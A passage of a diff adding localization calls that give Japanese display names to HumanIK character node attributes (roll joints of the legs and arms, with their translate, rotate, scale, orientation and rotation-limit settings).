+setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimity", "右大腿部ロール 3 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitz", "右大腿部ロール 3 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimit", "右大腿部ロール 3 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitx", "右大腿部ロール 3 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimity", "右大腿部ロール 3 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitz", "右大腿部ロール 3 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitEnablex", "右大腿部ロール 3 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitEnabley", "右大腿部ロール 3 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitEnablez", "右大腿部ロール 3 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitEnablex", "右大腿部ロール 3 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitEnabley", "右大腿部ロール 3 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitEnablez", "右大腿部ロール 3 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3", "右脚ロール 3 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3T", "右脚ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Tx", "右脚ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Ty", "右脚ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Tz", "右脚ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3R", "右脚ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Rx", "右脚ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Ry", "右脚ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Rz", "右脚ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3S", "右脚ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Sx", "右脚ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Sy", "右脚ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Sz", "右脚ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", "右脚ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateAxis", "右脚ロール 3 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateAxisx", "右脚ロール 3 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateAxisy", "右脚ロール 3 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateAxisz", "右脚ロール 3 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3JointOrient", "右脚ロール 3 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3JointOrientx", "右脚ロール 3 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3JointOrienty", "右脚ロール 3 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3JointOrientz", "右脚ロール 3 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimit", "右脚ロール 3 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitx", "右脚ロール 3 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimity", "右脚ロール 3 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitz", "右脚ロール 3 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimit", "右脚ロール 3 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitx", "右脚ロール 3 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimity", "右脚ロール 3 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitz", "右脚ロール 3 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitEnablex", "右脚ロール 3 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitEnabley", "右脚ロール 3 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitEnablez", "右脚ロール 3 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitEnablex", "右脚ロール 3 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitEnabley", "右脚ロール 3 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitEnablez", "右脚ロール 3 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3", "左腕ロール 3 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3T", "左腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Tx", "左腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Ty", "左腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Tz", "左腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3R", "左腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Rx", "左腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Ry", "左腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Rz", "左腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3S", "左腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Sx", "左腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Sy", "左腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Sz", "左腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", "左腕ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateAxis", "左腕ロール 3 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateAxisx", "左腕ロール 3 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateAxisy", "左腕ロール 3 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateAxisz", "左腕ロール 3 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3JointOrient", "左腕ロール 3 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3JointOrientx", "左腕ロール 3 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3JointOrienty", "左腕ロール 3 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3JointOrientz", "左腕ロール 3 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimit", "左腕ロール 3 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitx", "左腕ロール 3 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimity", "左腕ロール 3 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitz", "左腕ロール 3 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimit", "左腕ロール 3 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitx", "左腕ロール 3 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimity", "左腕ロール 3 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitz", "左腕ロール 3 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitEnablex", "左腕ロール 3 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitEnabley", "左腕ロール 3 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitEnablez", "左腕ロール 3 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitEnablex", "左腕ロール 3 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitEnabley", "左腕ロール 3 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitEnablez", "左腕ロール 3 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3", "左前腕ロール 3 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3T", "左前腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Tx", "左前腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Ty", "左前腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Tz", "左前腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3R", "左前腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Rx", "左前腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Ry", "左前腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Rz", "左前腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3S", "左前腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Sx", "左前腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Sy", "左前腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Sz", "左前腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", "左前腕ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateAxis", "左前腕ロール 3 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateAxisx", "左前腕ロール 3 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateAxisy", "左前腕ロール 3 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateAxisz", "左前腕ロール 3 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3JointOrient", "左前腕ロール 3 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3JointOrientx", "左前腕ロール 3 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3JointOrienty", "左前腕ロール 3 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3JointOrientz", "左前腕ロール 3 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimit", "左前腕ロール 3 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitx", "左前腕ロール 3 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimity", "左前腕ロール 3 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitz", "左前腕ロール 3 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimit", "左前腕ロール 3 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitx", "左前腕ロール 3 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimity", "左前腕ロール 3 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitz", "左前腕ロール 3 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitEnablex", "左前腕ロール 3 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitEnabley", "左前腕ロール 3 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitEnablez", "左前腕ロール 3 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitEnablex", "左前腕ロール 3 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitEnabley", "左前腕ロール 3 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitEnablez", "左前腕ロール 3 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3", "右腕ロール 3 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3T", "右腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Tx", "右腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Ty", "右腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Tz", "右腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3R", "右腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Rx", "右腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Ry", "右腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Rz", "右腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3S", "右腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Sx", "右腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Sy", "右腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Sz", "右腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", "右腕ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateAxis", "右腕ロール 3 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateAxisx", "右腕ロール 3 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateAxisy", "右腕ロール 3 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateAxisz", "右腕ロール 3 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3JointOrient", "右腕ロール 3 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3JointOrientx", "右腕ロール 3 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3JointOrienty", "右腕ロール 3 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3JointOrientz", "右腕ロール 3 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimit", "右腕ロール 3 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitx", "右腕ロール 3 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimity", "右腕ロール 3 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitz", "右腕ロール 3 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimit", "右腕ロール 3 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitx", "右腕ロール 3 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimity", "右腕ロール 3 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitz", "右腕ロール 3 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitEnablex", "右腕ロール 3 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitEnabley", "右腕ロール 3 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitEnablez", "右腕ロール 3 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitEnablex", "右腕ロール 3 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitEnabley", "右腕ロール 3 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitEnablez", "右腕ロール 3 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3", "右前腕ロール 3 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3T", "右前腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Tx", "右前腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Ty", "右前腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Tz", "右前腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3R", "右前腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Rx", "右前腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Ry", "右前腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Rz", "右前腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3S", "右前腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Sx", "右前腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Sy", "右前腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Sz", "右前腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", "右前腕ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateAxis", "右前腕ロール 3 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateAxisx", "右前腕ロール 3 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateAxisy", "右前腕ロール 3 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateAxisz", "右前腕ロール 3 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3JointOrient", "右前腕ロール 3 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3JointOrientx", "右前腕ロール 3 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3JointOrienty", "右前腕ロール 3 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3JointOrientz", "右前腕ロール 3 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimit", "右前腕ロール 3 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitx", "右前腕ロール 3 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimity", "右前腕ロール 3 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitz", "右前腕ロール 3 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimit", "右前腕ロール 3 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitx", "右前腕ロール 3 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimity", "右前腕ロール 3 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitz", "右前腕ロール 3 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitEnablex", "右前腕ロール 3 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitEnabley", "右前腕ロール 3 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitEnablez", "右前腕ロール 3 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitEnablex", "右前腕ロール 3 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitEnabley", "右前腕ロール 3 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitEnablez", "右前腕ロール 3 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4", "左大腿部ロール 4 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4T", "左大腿部ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Tx", "左大腿部ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Ty", "左大腿部ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Tz", "左大腿部ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4R", "左大腿部ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Rx", "左大腿部ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Ry", "左大腿部ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Rz", "左大腿部ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4S", "左大腿部ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Sx", "左大腿部ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Sy", "左大腿部ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Sz", "左大腿部ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", "左大腿部ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateAxis", "左大腿部ロール 4 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateAxisx", "左大腿部ロール 4 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateAxisy", "左大腿部ロール 4 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateAxisz", "左大腿部ロール 4 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4JointOrient", "左大腿部ロール 4 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4JointOrientx", "左大腿部ロール 4 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4JointOrienty", "左大腿部ロール 4 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4JointOrientz", "左大腿部ロール 4 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimit", "左大腿部ロール 4 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitx", "左大腿部ロール 4 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimity", "左大腿部ロール 4 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitz", "左大腿部ロール 4 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimit", "左大腿部ロール 4 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitx", 